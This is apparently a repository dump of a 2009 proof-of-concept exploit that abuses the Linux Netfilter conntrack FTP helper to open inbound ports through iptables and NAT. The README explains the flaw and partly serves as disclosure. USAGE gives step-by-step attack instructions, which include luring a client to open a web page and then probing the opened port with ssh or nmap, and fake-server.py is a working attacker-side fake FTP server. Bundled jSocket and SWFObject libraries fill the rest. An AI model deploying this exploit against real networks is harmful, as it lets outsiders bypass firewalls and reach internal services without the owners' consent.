├── README
├── USAGE
├── fake-server.py
├── flash-policy-server
├── crossdomain.xml
└── server.jar
└── web
├── example.html
├── jsocket.js
├── jsocket.swf
└── swfobject.js
/README:
--------------------------------------------------------------------------------
1 | ================================================================================
2 | Bypass the Linux Netfilter using conntrack helpers
3 | ================================================================================
4 | One day I wondered how conntrack's helpers work.
5 |
6 | А questionable point exists in the conntrack expectations design. What happens if somebody opened fake outgoing connection which would match conntrack helpers' signatures? Conntrack module will be able to add records in expectation table. And somebody would connect to this port from outside and come through iptables rules.
7 |
8 | If you think that this is just a joke, I intend to show that it is a really serious problem and I founded two ways to exploit it.
9 |
10 | In the first case, we have a single Linux host connected directly to the public network.
11 | Usually, iptables config for the workstation are similar to this:
12 | ------
13 | iptables -A INPUT -i lo -j ACCEPT
14 | iptables -A INPUT -p icmp -j ACCEPT
15 | iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT # accept established connections
16 | iptables -A INPUT -p tcp --dport 80 -j ACCEPT # allow access to http server
17 | iptables -P INPUT DROP # drop other incoming connections
18 |
19 | iptables -P OUTPUT -j ACCEPT # allow any connection from the host
20 | ------
21 | Also nf_conntrack_ftp module loaded in order to enable active ftp work. You can argue that this configuration so stupid, and I must specify --dport in -m state rule. I understand, but anyway, I found plenty of manuals on the Internet which look like above described, e.g. https://help.ubuntu.com/community/IptablesHowTo
22 |
23 | If malicious software could initiate connection to remote 21 port and send tcp packets like this
24 | ------
25 | > USER anonymous
26 | > PASS test@example.com
27 | > PORT x,x,x,x,y,z
28 | ------
29 | where x,x,x,x is host ip on external network, then (y << 8 | z) port will be OPENED from the sender ip address.
30 | For example, we can use y=0, z=22 to open a ssh port, or, y=21, z=56 to open a database server.
31 |
32 | In the second case, we have host in local network masquared by Linux NAT.
33 | Regular iptables config for NAT looks like this:
34 | ------
35 | iptables -A FORWARD -s 192.168.0.0/24 -o eth1 -j ACCEPT
36 | iptables -A FORWARD -d 192.168.0.0/24 -i eth1 -j ACCEPT
37 | iptables -P FORWARD DROP
38 |
39 | iptables -t nat -A POSTROUTING -s 192.168.0.0/24 -o eth1 -j SNAT --to-source x.x.x.x
40 | sysctl -w net.ipv4.conf.all.forwarding=1
41 | ------
42 | where 192.168.0.0/24 internal network and x.x.x.x external ip address.
43 |
44 | Unfortunately, all users from 192.168.0.0/24 will have problems with an active FTP. Users will force administrators to read boring manuals as alredy founded and load nf_connrack_ftp + nf_nat_ftp to "overcome" the problem.
45 |
46 | Next, if malicious software would initiate connection as in the previous case, NAT subsystem will forward (y << 8 | z) port to outside by changing source PORT command and, in fact, forwarding a port inside. So, if we something would open connections to remote 21 port and send our PORT commands, we can transparently open ANY port from INTERNAL server to the public Internet, regardless NAT. Hereinafter, I'll call this "conntrack back-connection issue".
47 |
48 | Furthermore, various ways to inititate connections from client exists. It can be malicious software, that needs only user permisions to open connection outgoing connection, or user himself, or ... surprise, just a web-browser.
49 | Contemporary HTML standards support for outgoing socket connections in web applications. Moreover, now you can use Adobe Flash, Java Applets, XMLHTTPRequest and so on to start an outgoing connection and to send appropriate signatures through conntrack helpers.
50 |
51 | I have made simple exploit of this issue. This is just a simple HTML page on client and fake FTP server on the side of attacker. Currently, no browsers in production supported WebSockets and I decided to use flash-based jSocket library to initiate back-connections.
52 |
53 | A small protection exists in nf_conntrack_ftp code. It checks if ip address in PORT command exactly same as a sender ip address. So, we can't get internal client ip address in a browser, it's absolutely impossible. If you knew how to do it, please tell me. So my code blindly probes all fake ip addresses. It transmits about 3-4 megabytes for /16 network (its just nothing for contemporary speeds).
54 |
55 | I have published all at a my git repo (http://gitorious.org/art1x/conntrack-issue). I tested this code with various versions of kernel, incl. 2.4.x and current 2.6.x. A lot of network devices loads nf_conntrack_* modules by default, because users have problems with old protocols such as active ftp. I think, usually administrators of various corporate' routers also enables it.
56 |
57 | All that I have described above are not bug, it just ftp protocol design drawbacks.
58 | FTP is a application level protocol (in terms of OSI model) that sends information about level 3 connection (ip address in PORT command). BTW, a file transfer protocol was invented in the 70s before any established network models. There are a lot of application level protocols which also have some problems and can't be transparently transfered over the NAT without additional efforts, e.g. sip, p2p, etc. But anyway, only nf_conntrack_ftp adds tcp exceptions to Netfilter, and udp proto isn't really interested.
59 |
60 | Code of nf_conntrack_ftp.c is perfect and I've no idea what we can additionaly check here. Somebody also uses other helpers, not only the nf_conntrack_ftp. This modules is really needed for normal work, but its unsecury at the sometime. May be, we should add a large warning message to it? I've blacklisted application layer helpers at my router, but I haven't found real solution of the problem yet.
61 |
62 | --
63 | Roman O Tsisyk
64 | This is a copy of netfilter-devel message, originally posted on 2009-12-27
65 |
66 | If you have some ideas, please don't hesitate to contact me (email/xmpp: ${firstname}@${lastname}.com).
67 |
--------------------------------------------------------------------------------
/USAGE:
--------------------------------------------------------------------------------
1 | ================================================================================
2 | Usage example
3 | ================================================================================
4 |
5 | Client (any OS)
6 | eth0: 192.168.0.10/24
7 |
8 | Router (Linux with NAT and conntrack_ftp, see below)
9 | eth0: 192.168.0.1/24
10 | eth1: x.x.x.x
11 |
12 | Fake-FTP server (any OS)
13 | eth0: y.y.y.y
14 |
15 | 0. Set-up router like theese:
16 | ------
17 | iptables -A FORWARD -s 192.168.0.0/24 -o eth1 -j ACCEPT
18 | iptables -A FORWARD -d 192.168.0.0/24 -i eth1 -j ACCEPT
19 | iptables -P FORWARD DROP
20 |
21 | iptables -t nat -A POSTROUTING -s 192.168.0.0/24 -o eth1 -j SNAT --to-source x.x.x.x
22 | sysctl -w net.ipv4.conf.all.forwarding=1
23 | modprobe nf_conntract_ftp
24 | modprobe nf_nat_ftp
25 | ------
26 |
27 | 1. Run flash policy server on y.y.y.y (java -jar ./server.jar)
28 | source http://jsocket.googlecode.com/svn/trunk/jsocket/samples/server/java/
29 | 2. Add your action at check(self, ip, port) in fake-server.py,
30 | e.g. screen -d -m ssh ip -p port or nmap ip -p port &> log.txt
31 | 3. Run fake-server.py on y.y.y.y
32 | 4. Change IP address in example.html to y.y.y.y and put it on web server (any)
33 | 5. Ask client to open example.html, only this action from client is required
34 | Flash have to be enabled, but you can reimplement this page using WebSockets or applets
35 | 6. Wait for example.html
36 |
37 | fake-server log:
38 | ------
39 | 2009-12-27 10:08:41,776 DEBUG ('x.x.x.x', 43640): USER anonymous
40 | 2009-12-27 10:08:41,791 DEBUG ('x.x.x.x', 43640): PASS test@example.com
41 | 2009-12-27 10:08:41,797 DEBUG ('x.x.x.x', 43640): PORT 192,168,0,2,0,22
42 | 2009-12-27 10:08:41,797 DEBUG ('x.x.x.x', 43640): PORT failed
43 | 2009-12-27 10:08:41,806 DEBUG ('x.x.x.x', 43640): PORT 192,168,0,3,0,22
44 | 2009-12-27 10:08:41,806 DEBUG ('x.x.x.x', 43640): PORT failed
45 | 2009-12-27 10:08:41,823 DEBUG ('x.x.x.x', 43640): PORT 192,168,0,4,0,22
46 | 2009-12-27 10:08:41,823 DEBUG ('x.x.x.x', 43640): PORT failed
47 | 2009-12-27 10:08:41,835 DEBUG ('x.x.x.x', 43640): PORT 192,168,0,5,0,22
48 | 2009-12-27 10:08:41,835 DEBUG ('x.x.x.x', 43640): PORT failed
49 | 2009-12-27 10:08:41,846 DEBUG ('x.x.x.x', 43640): PORT 192,168,0,6,0,22
50 | 2009-12-27 10:08:41,846 DEBUG ('x.x.x.x', 43640): PORT failed
51 | 2009-12-27 10:08:41,853 DEBUG ('x.x.x.x', 43640): PORT 192,168,0,7,0,22
52 | 2009-12-27 10:08:41,854 DEBUG ('x.x.x.x', 43640): PORT failed
53 | 2009-12-27 10:08:41,862 DEBUG ('x.x.x.x', 43640): PORT 192,168,0,8,0,22
54 | 2009-12-27 10:08:41,862 DEBUG ('x.x.x.x', 43640): PORT failed
55 | 2009-12-27 10:08:41,872 DEBUG ('x.x.x.x', 43640): PORT 192,168,0,9,0,22
56 | 2009-12-27 10:08:41,873 DEBUG ('x.x.x.x', 43640): PORT failed
57 | 2009-12-27 10:08:41,884 DEBUG ('x.x.x.x', 43640): PORT x,x,x,x,0,22 # PORT body has been changed
58 | 2009-12-27 10:08:41,884 INFO ('x.x.x.x', 43640): PORT success
59 | 2009-12-27 10:08:41,884 INFO ('x.x.x.x', 43640): probing x.x.x.x:22
60 | 2009-12-27 10:08:41,884 DEBUG ('x.x.x.x', 43640): port 22 works
61 | 2009-12-27 10:08:41,886 INFO x.x.x.x:43640 disconnected
62 | ------
63 |
64 |
--------------------------------------------------------------------------------
/fake-server.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 | #
4 | # Fake ftp server code for conntrack exploit
5 | #
6 | # This software is in the public domain, furnished "as is", without technical
7 | # support, and with no warranty, express or implied, as to its usefulness for
8 | # any purpose.
9 | #
10 | # Author: Roman Tsisyk
11 | #
12 | # Please read README file first!
13 | # This server gets PORT request from client, checks if ip address matched
14 | # a real cleint adddress and tries to connect. It emulates ftp sometimes, but
15 | # its not realy necessary for our needs, just for a smart firewalls and logs
16 | #
17 |
18 | import sys, logging
19 | from SocketServer import ThreadingTCPServer, ThreadingMixIn, BaseRequestHandler
20 |
21 | #
22 | # Main server class
23 | #
24 | class BackConnectServer(ThreadingMixIn, ThreadingTCPServer):
25 | # logger
26 | log = None;
27 |
28 | #
29 | # Main handler
30 | #
31 | class BackConnectHandler(BaseRequestHandler):
32 | def __init__(self, request, client_address, server):
33 | self.log = server.log;
34 | BaseRequestHandler.__init__(self, request, client_address, server);
35 |
36 | def setup(self):
37 | self.log.info('%s:%s connected', *self.client_address);
38 | self.request.send('220 vsFTPd ready.\n');
39 |
40 | def check(self, ip, port):
41 | self.log.info('%s: probing %s:%s', self.client_address, ip, port);
42 |
43 | #
44 | # connect to this port using external program and do smth
45 | #
46 | # os.system('nmap %s -A -p %s', ip, port);
47 | # return True; if connection established
48 |
49 | return False;
50 |
51 | def handle(self):
52 | data = True;
53 | while data:
54 | data = self.request.recv(1024);
55 | cmd = data[0:4];
56 |
57 | self.log.debug('%s: %s', self.client_address, data.strip());
58 | # we really not have to handle all ftp protocol and check states like fsm
59 | # let client think that auth realy needed and there is real ftp
60 | if cmd == 'PORT':
61 | port_data = data[4:].strip().split(',');
62 | try:
63 | # extract port number
64 | port = int(port_data[4]) << 8 | int(port_data[5]);
65 | except:
66 | self.log.error('%s: Invalid reply received', self.client_address);
67 |
68 | # check if there is not NAT or
69 | # nf_nat_ftp converted internal fake ip to external
70 | if ('.'.join(port_data[0:4]) == self.client_address[0]):
71 | self.log.info('%s: PORT success', self.client_address);
72 |
73 | # run extern program (e.g. ssh or smbclient) and do something
74 | if self.check(self.client_address[0], port):
75 | # matrix has you :)
76 | self.log('%s: port %s works',
77 | self.client_address, port);
78 | else:
79 | self.log.debug('%s: connection to %s:%s failed',
80 | self.client_address, self.client_address[0], port);
81 |
82 | # stop client script
83 | self.request.send('200 PORT command successful.\n');
84 | return;
85 | else:
86 | self.log.debug('%s: PORT failed', self.client_address);
87 |
88 | self.request.send('500 Illegal PORT command.\n');
89 | elif cmd == 'USER':
90 | self.request.send('331 Please specify the password.\n');
91 | elif cmd == 'PASS':
92 | self.request.send('530 Login incorrect.\n');
93 | elif cmd == 'QUIT':
94 | return
95 | else:
96 | self.request.send('530 Please login with USER and PASS.\n');
97 |
98 | def finish(self):
99 | self.log.info('%s:%s disconnected', *self.client_address);
100 | self.request.send('221 Goodbye.');
101 |
102 | def __init__(self):
103 | self.log = logging.getLogger();
104 | self.log.setLevel(logging.DEBUG);
105 | log_hdl = logging.StreamHandler();
106 | log_hdl.setFormatter(logging.Formatter( '%(asctime)s %(levelname)s %(message)s' ))
107 | self.log.addHandler(log_hdl);
108 | self.allow_reuse_address = True;
109 | ThreadingTCPServer.__init__(self, ('', 21), self.BackConnectHandler);
110 |
111 | # run server
112 | server = BackConnectServer();
113 | server.serve_forever();
114 |
--------------------------------------------------------------------------------
/flash-policy-server/crossdomain.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/flash-policy-server/server.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/rtsisyk/linux-iptables-contrack-exploit/d12e513e93822783ab81886a2aafbe33e5623902/flash-policy-server/server.jar
--------------------------------------------------------------------------------
/web/example.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
10 |
11 | Netfilter pass-through techniquie
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
96 |
97 |
98 |
--------------------------------------------------------------------------------
/web/jsocket.js:
--------------------------------------------------------------------------------
1 | /* jSocket.js
2 | *
3 | * The MIT License
4 | *
5 | * Copyright (c) 2008 Tjeerd Jan 'Aidamina' van der Molen
6 | * http://jsocket.googlecode.com
7 | *
8 | * Permission is hereby granted, free of charge, to any person obtaining a copy
9 | * of this software and associated documentation files (the "Software"), to deal
10 | * in the Software without restriction, including without limitation the rights
11 | * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
12 | * copies of the Software, and to permit persons to whom the Software is
13 | * furnished to do so, subject to the following conditions:
14 | *
15 | * The above copyright notice and this permission notice shall be included in
16 | * all copies or substantial portions of the Software.
17 | *
18 | * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
19 | * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
20 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
21 | * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
22 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
23 | * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
24 | * THE SOFTWARE.
25 | */
26 |
27 | /**
28 | * Construct
29 | * @param {function} onReady When the SWF is added the to document and ready for use
30 | * @param {function} onConnect Connection attempt finished (either succesfully or with an error)
31 | * @param {function} onData Socket received data from the remote host
32 | * @param {function} onClose Remote host disconnects the connection
33 | */
34 | function jSocket(onReady, onConnect, onData, onClose) {
35 | this.onReady = onReady;
36 | this.onConnect = onConnect;
37 | this.onData = onData;
38 | this.onClose = onClose;
39 |
40 | this.id = "jSocket_"+ (++jSocket.last_id);
41 | jSocket.sockets[this.id] = this;
42 |
43 | // Connection state
44 | this.connected = false;
45 | }
46 |
47 | /**
48 | * String defining the default swf file
49 | * @var String
50 | */
51 | jSocket.swf = "jsocket.swf";
52 |
53 | /**
54 | * Object used as array with named keys to
55 | * keep references to the instantiated sockets
56 | * @var Object
57 | */
58 | jSocket.sockets = {};
59 |
60 | /**
61 | * Id used to generate a unique id for the embedded swf
62 | * @var int
63 | */
64 | jSocket.last_id = 0;
65 |
66 | /**
67 | * A nonexisting public flash object variable
68 | * This variable is used for testing access to the object.
69 | * @var String
70 | */
71 | jSocket.variableTest ='xt';
72 |
73 | /**
74 | * Find the SWF in the DOM and return it
75 | * @return DOMNode
76 | */
77 | jSocket.prototype.findSwf = function() {
78 | return document.getElementById(this.target);
79 | }
80 |
81 | /**
82 | * Insert the SWF into the DOM
83 | * @param String {target} The id of the DOMnode that will get replaced by the SWF
84 | * @param String {swflocation} The filepath to the SWF
85 | */
86 | jSocket.prototype.setup = function(target, swflocation) {
87 | if(typeof(swfobject) == 'undefined')
88 | throw 'SWFObject not found! Please download from http://code.google.com/p/swfobject/';
89 | if(typeof(this.target) != 'undefined')
90 | throw 'Can only call setup on a jSocket Object once.';
91 | this.target = target;
92 |
93 | // Add the object to the dom
94 | return swfobject.embedSWF(
95 | (swflocation ? swflocation : jSocket.swf)+'?'+this.id,
96 | this.target,
97 | '0', // width
98 | '0', // height
99 | '9.0.0',
100 | 'expressInstall.swf',
101 | // Flashvars
102 | {},
103 | // Params
104 | {'menu' : 'false'},
105 | // Attributes
106 | {}
107 | );
108 |
109 | }
110 |
111 | /**
112 | * Connect to the specified host on the specified port
113 | * @param String {host} Hostname or ip to connect to
114 | * @param Int {port} Port to connect to on the given host
115 | */
116 | jSocket.prototype.connect = function(host,port) {
117 | if(!this.movie)
118 | throw "jSocket isn't ready yet, use the onReady event";
119 | if(this.connected)
120 | this.movie.close();
121 | this.movie.connect(host, port);
122 | }
123 |
124 | /**
125 | * Close the current socket connection
126 | */
127 | jSocket.prototype.close = function() {
128 | this.connected = false;
129 | if(this.movie)
130 | this.movie.close();
131 | }
132 |
133 | /**
134 | * Send data trough the socket to the server
135 | * @param Mixedvar {data} The data to be send to the sever
136 | */
137 | jSocket.prototype.write = function(data) {
138 | this.assertConnected();
139 | this.movie.write(data);
140 | }
141 |
142 | /**
143 | * Make sure the socked is connected.
144 | * @throws Exception Throws an exception when the socket isn't connected
145 | */
146 | jSocket.prototype.assertConnected = function() {
147 | if(!this.connected||!this.movie)
148 | throw "jSocket is not connected, use the onConnect event ";
149 | }
150 |
151 | /**
152 | * Callback that the flash object calls using externalInterface
153 | * @param String {name} What callback is called
154 | * @param String {id} Id of the socket
155 | * @param String {data} Used for data and errors
156 | */
157 | jSocket.flashCallback = function(name, id, data) {
158 | // Because the swf locks up untill the callback is done executing we want to get this over with asap!
159 | // http://www.calypso88.com/?p=25
160 | var f = function() {
161 | jSocket.executeFlashCallback(name, id, data);
162 | };
163 | setTimeout(f, 0);
164 | return;
165 | }
166 |
167 | /**
168 | * Execute the Callbacks
169 | * @param String {name} What callback is called
170 | * @param String {id} Id of the socket
171 | * @param String {data} Used for data and errors
172 | */
173 | jSocket.executeFlashCallback = function(name, id, data) {
174 | var socket = jSocket.sockets[id];
175 |
176 | switch (name) {
177 | // Callback for the flash object to signal the flash file is loaded
178 | // triggers jsXMLSocket.onReady
179 | case 'init':
180 | var v = jSocket.variableTest;
181 | // Wait until we can actually set Variables in flash
182 | var f = function(){
183 | var err = true;
184 | try {
185 | // Needs to be in the loop, early results might fail, when DOM hasn't updated yet
186 | var m = socket.findSwf();
187 | m.SetVariable(v, 't');
188 | if('t' != m.GetVariable(v))
189 | throw null;
190 | m.SetVariable(v, '');
191 | // Store the found movie for later use
192 | socket.movie = m;
193 | err=false;
194 | } catch(e) {
195 | setTimeout(f, 0);
196 | }
197 | // Fire the onReady event
198 | if(!err&&typeof socket.onReady=="function")
199 | socket.onReady();
200 | };
201 | setTimeout(f, 0);
202 | break;
203 |
204 | // Callback for the flash object to signal data is received
205 | // triggers jSocket.onData
206 | case 'data':
207 | if(typeof socket.onData=="function")
208 | socket.onData(data);
209 | break;
210 |
211 | // Callback for the flash object to signal the connection attempt is finished
212 | // triggers jSocket.onConnect
213 | case 'connect':
214 | socket.connected = true;
215 | if(typeof socket.onConnect=="function")
216 | socket.onConnect(true);
217 | break;
218 |
219 | // Callback for the flash object to signal the connection attempt is finished
220 | // triggers jSocket.onConnect
221 | case 'error':
222 | if(typeof socket.onConnect=="function")
223 | socket.onConnect(false, data);
224 | break;
225 |
226 | // Callback for the flash object to signal the connection was closed from the other end
227 | // triggers jSocket.onClose
228 | case 'close':
229 | socket.connected = false;
230 | if(typeof socket.onClose=="function")
231 | socket.onClose();
232 | break;
233 |
234 | default:
235 | throw "jSocket: unknown callback '"+name+"' used";
236 | }
237 | }
238 |
--------------------------------------------------------------------------------
/web/jsocket.swf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/rtsisyk/linux-iptables-contrack-exploit/d12e513e93822783ab81886a2aafbe33e5623902/web/jsocket.swf
--------------------------------------------------------------------------------
/web/swfobject.js:
--------------------------------------------------------------------------------
1 | /*! SWFObject v2.2
2 | is released under the MIT License
3 | */
4 |
5 | var swfobject = function() {
6 |
7 | var UNDEF = "undefined",
8 | OBJECT = "object",
9 | SHOCKWAVE_FLASH = "Shockwave Flash",
10 | SHOCKWAVE_FLASH_AX = "ShockwaveFlash.ShockwaveFlash",
11 | FLASH_MIME_TYPE = "application/x-shockwave-flash",
12 | EXPRESS_INSTALL_ID = "SWFObjectExprInst",
13 | ON_READY_STATE_CHANGE = "onreadystatechange",
14 |
15 | win = window,
16 | doc = document,
17 | nav = navigator,
18 |
19 | plugin = false,
20 | domLoadFnArr = [main],
21 | regObjArr = [],
22 | objIdArr = [],
23 | listenersArr = [],
24 | storedAltContent,
25 | storedAltContentId,
26 | storedCallbackFn,
27 | storedCallbackObj,
28 | isDomLoaded = false,
29 | isExpressInstallActive = false,
30 | dynamicStylesheet,
31 | dynamicStylesheetMedia,
32 | autoHideShow = true,
33 |
34 | /* Centralized function for browser feature detection
35 | - User agent string detection is only used when no good alternative is possible
36 | - Is executed directly for optimal performance
37 | */
38 | ua = function() {
39 | var w3cdom = typeof doc.getElementById != UNDEF && typeof doc.getElementsByTagName != UNDEF && typeof doc.createElement != UNDEF,
40 | u = nav.userAgent.toLowerCase(),
41 | p = nav.platform.toLowerCase(),
42 | windows = p ? /win/.test(p) : /win/.test(u),
43 | mac = p ? /mac/.test(p) : /mac/.test(u),
44 | webkit = /webkit/.test(u) ? parseFloat(u.replace(/^.*webkit\/(\d+(\.\d+)?).*$/, "$1")) : false, // returns either the webkit version or false if not webkit
45 | ie = !+"\v1", // feature detection based on Andrea Giammarchi's solution: http://webreflection.blogspot.com/2009/01/32-bytes-to-know-if-your-browser-is-ie.html
46 | playerVersion = [0,0,0],
47 | d = null;
48 | if (typeof nav.plugins != UNDEF && typeof nav.plugins[SHOCKWAVE_FLASH] == OBJECT) {
49 | d = nav.plugins[SHOCKWAVE_FLASH].description;
50 | if (d && !(typeof nav.mimeTypes != UNDEF && nav.mimeTypes[FLASH_MIME_TYPE] && !nav.mimeTypes[FLASH_MIME_TYPE].enabledPlugin)) { // navigator.mimeTypes["application/x-shockwave-flash"].enabledPlugin indicates whether plug-ins are enabled or disabled in Safari 3+
51 | plugin = true;
52 | ie = false; // cascaded feature detection for Internet Explorer
53 | d = d.replace(/^.*\s+(\S+\s+\S+$)/, "$1");
54 | playerVersion[0] = parseInt(d.replace(/^(.*)\..*$/, "$1"), 10);
55 | playerVersion[1] = parseInt(d.replace(/^.*\.(.*)\s.*$/, "$1"), 10);
56 | playerVersion[2] = /[a-zA-Z]/.test(d) ? parseInt(d.replace(/^.*[a-zA-Z]+(.*)$/, "$1"), 10) : 0;
57 | }
58 | }
59 | else if (typeof win.ActiveXObject != UNDEF) {
60 | try {
61 | var a = new ActiveXObject(SHOCKWAVE_FLASH_AX);
62 | if (a) { // a will return null when ActiveX is disabled
63 | d = a.GetVariable("$version");
64 | if (d) {
65 | ie = true; // cascaded feature detection for Internet Explorer
66 | d = d.split(" ")[1].split(",");
67 | playerVersion = [parseInt(d[0], 10), parseInt(d[1], 10), parseInt(d[2], 10)];
68 | }
69 | }
70 | }
71 | catch(e) {}
72 | }
73 | return { w3:w3cdom, pv:playerVersion, wk:webkit, ie:ie, win:windows, mac:mac };
74 | }(),
75 |
76 | /* Cross-browser onDomLoad
77 | - Will fire an event as soon as the DOM of a web page is loaded
78 | - Internet Explorer workaround based on Diego Perini's solution: http://javascript.nwbox.com/IEContentLoaded/
79 | - Regular onload serves as fallback
80 | */
81 | onDomLoad = function() {
82 | if (!ua.w3) { return; }
83 | if ((typeof doc.readyState != UNDEF && doc.readyState == "complete") || (typeof doc.readyState == UNDEF && (doc.getElementsByTagName("body")[0] || doc.body))) { // function is fired after onload, e.g. when script is inserted dynamically
84 | callDomLoadFunctions();
85 | }
86 | if (!isDomLoaded) {
87 | if (typeof doc.addEventListener != UNDEF) {
88 | doc.addEventListener("DOMContentLoaded", callDomLoadFunctions, false);
89 | }
90 | if (ua.ie && ua.win) {
91 | doc.attachEvent(ON_READY_STATE_CHANGE, function() {
92 | if (doc.readyState == "complete") {
93 | doc.detachEvent(ON_READY_STATE_CHANGE, arguments.callee);
94 | callDomLoadFunctions();
95 | }
96 | });
97 | if (win == top) { // if not inside an iframe
98 | (function(){
99 | if (isDomLoaded) { return; }
100 | try {
101 | doc.documentElement.doScroll("left");
102 | }
103 | catch(e) {
104 | setTimeout(arguments.callee, 0);
105 | return;
106 | }
107 | callDomLoadFunctions();
108 | })();
109 | }
110 | }
111 | if (ua.wk) {
112 | (function(){
113 | if (isDomLoaded) { return; }
114 | if (!/loaded|complete/.test(doc.readyState)) {
115 | setTimeout(arguments.callee, 0);
116 | return;
117 | }
118 | callDomLoadFunctions();
119 | })();
120 | }
121 | addLoadEvent(callDomLoadFunctions);
122 | }
123 | }();
124 |
125 | function callDomLoadFunctions() {
126 | if (isDomLoaded) { return; }
127 | try { // test if we can really add/remove elements to/from the DOM; we don't want to fire it too early
128 | var t = doc.getElementsByTagName("body")[0].appendChild(createElement("span"));
129 | t.parentNode.removeChild(t);
130 | }
131 | catch (e) { return; }
132 | isDomLoaded = true;
133 | var dl = domLoadFnArr.length;
134 | for (var i = 0; i < dl; i++) {
135 | domLoadFnArr[i]();
136 | }
137 | }
138 |
139 | function addDomLoadEvent(fn) {
140 | if (isDomLoaded) {
141 | fn();
142 | }
143 | else {
144 | domLoadFnArr[domLoadFnArr.length] = fn; // Array.push() is only available in IE5.5+
145 | }
146 | }
147 |
148 | /* Cross-browser onload
149 | - Based on James Edwards' solution: http://brothercake.com/site/resources/scripts/onload/
150 | - Will fire an event as soon as a web page including all of its assets are loaded
151 | */
152 | function addLoadEvent(fn) {
153 | if (typeof win.addEventListener != UNDEF) {
154 | win.addEventListener("load", fn, false);
155 | }
156 | else if (typeof doc.addEventListener != UNDEF) {
157 | doc.addEventListener("load", fn, false);
158 | }
159 | else if (typeof win.attachEvent != UNDEF) {
160 | addListener(win, "onload", fn);
161 | }
162 | else if (typeof win.onload == "function") {
163 | var fnOld = win.onload;
164 | win.onload = function() {
165 | fnOld();
166 | fn();
167 | };
168 | }
169 | else {
170 | win.onload = fn;
171 | }
172 | }
173 |
174 | /* Main function
175 | - Will preferably execute onDomLoad, otherwise onload (as a fallback)
176 | */
177 | function main() {
178 | if (plugin) {
179 | testPlayerVersion();
180 | }
181 | else {
182 | matchVersions();
183 | }
184 | }
185 |
186 | /* Detect the Flash Player version for non-Internet Explorer browsers
187 | - Detecting the plug-in version via the object element is more precise than using the plugins collection item's description:
188 | a. Both release and build numbers can be detected
189 | b. Avoid wrong descriptions by corrupt installers provided by Adobe
190 | c. Avoid wrong descriptions by multiple Flash Player entries in the plugin Array, caused by incorrect browser imports
191 | - Disadvantage of this method is that it depends on the availability of the DOM, while the plugins collection is immediately available
192 | */
193 | function testPlayerVersion() {
194 | var b = doc.getElementsByTagName("body")[0];
195 | var o = createElement(OBJECT);
196 | o.setAttribute("type", FLASH_MIME_TYPE);
197 | var t = b.appendChild(o);
198 | if (t) {
199 | var counter = 0;
200 | (function(){
201 | if (typeof t.GetVariable != UNDEF) {
202 | var d = t.GetVariable("$version");
203 | if (d) {
204 | d = d.split(" ")[1].split(",");
205 | ua.pv = [parseInt(d[0], 10), parseInt(d[1], 10), parseInt(d[2], 10)];
206 | }
207 | }
208 | else if (counter < 10) {
209 | counter++;
210 | setTimeout(arguments.callee, 10);
211 | return;
212 | }
213 | b.removeChild(o);
214 | t = null;
215 | matchVersions();
216 | })();
217 | }
218 | else {
219 | matchVersions();
220 | }
221 | }
222 |
223 | /* Perform Flash Player and SWF version matching; static publishing only
224 | */
225 | function matchVersions() {
226 | var rl = regObjArr.length;
227 | if (rl > 0) {
228 | for (var i = 0; i < rl; i++) { // for each registered object element
229 | var id = regObjArr[i].id;
230 | var cb = regObjArr[i].callbackFn;
231 | var cbObj = {success:false, id:id};
232 | if (ua.pv[0] > 0) {
233 | var obj = getElementById(id);
234 | if (obj) {
235 | if (hasPlayerVersion(regObjArr[i].swfVersion) && !(ua.wk && ua.wk < 312)) { // Flash Player version >= published SWF version: Houston, we have a match!
236 | setVisibility(id, true);
237 | if (cb) {
238 | cbObj.success = true;
239 | cbObj.ref = getObjectById(id);
240 | cb(cbObj);
241 | }
242 | }
243 | else if (regObjArr[i].expressInstall && canExpressInstall()) { // show the Adobe Express Install dialog if set by the web page author and if supported
244 | var att = {};
245 | att.data = regObjArr[i].expressInstall;
246 | att.width = obj.getAttribute("width") || "0";
247 | att.height = obj.getAttribute("height") || "0";
248 | if (obj.getAttribute("class")) { att.styleclass = obj.getAttribute("class"); }
249 | if (obj.getAttribute("align")) { att.align = obj.getAttribute("align"); }
250 | // parse HTML object param element's name-value pairs
251 | var par = {};
252 | var p = obj.getElementsByTagName("param");
253 | var pl = p.length;
254 | for (var j = 0; j < pl; j++) {
255 | if (p[j].getAttribute("name").toLowerCase() != "movie") {
256 | par[p[j].getAttribute("name")] = p[j].getAttribute("value");
257 | }
258 | }
259 | showExpressInstall(att, par, id, cb);
260 | }
261 | else { // Flash Player and SWF version mismatch or an older Webkit engine that ignores the HTML object element's nested param elements: display alternative content instead of SWF
262 | displayAltContent(obj);
263 | if (cb) { cb(cbObj); }
264 | }
265 | }
266 | }
267 | else { // if no Flash Player is installed or the fp version cannot be detected we let the HTML object element do its job (either show a SWF or alternative content)
268 | setVisibility(id, true);
269 | if (cb) {
270 | var o = getObjectById(id); // test whether there is an HTML object element or not
271 | if (o && typeof o.SetVariable != UNDEF) {
272 | cbObj.success = true;
273 | cbObj.ref = o;
274 | }
275 | cb(cbObj);
276 | }
277 | }
278 | }
279 | }
280 | }
281 |
282 | function getObjectById(objectIdStr) {
283 | var r = null;
284 | var o = getElementById(objectIdStr);
285 | if (o && o.nodeName == "OBJECT") {
286 | if (typeof o.SetVariable != UNDEF) {
287 | r = o;
288 | }
289 | else {
290 | var n = o.getElementsByTagName(OBJECT)[0];
291 | if (n) {
292 | r = n;
293 | }
294 | }
295 | }
296 | return r;
297 | }
298 |
299 | /* Requirements for Adobe Express Install
300 | - only one instance can be active at a time
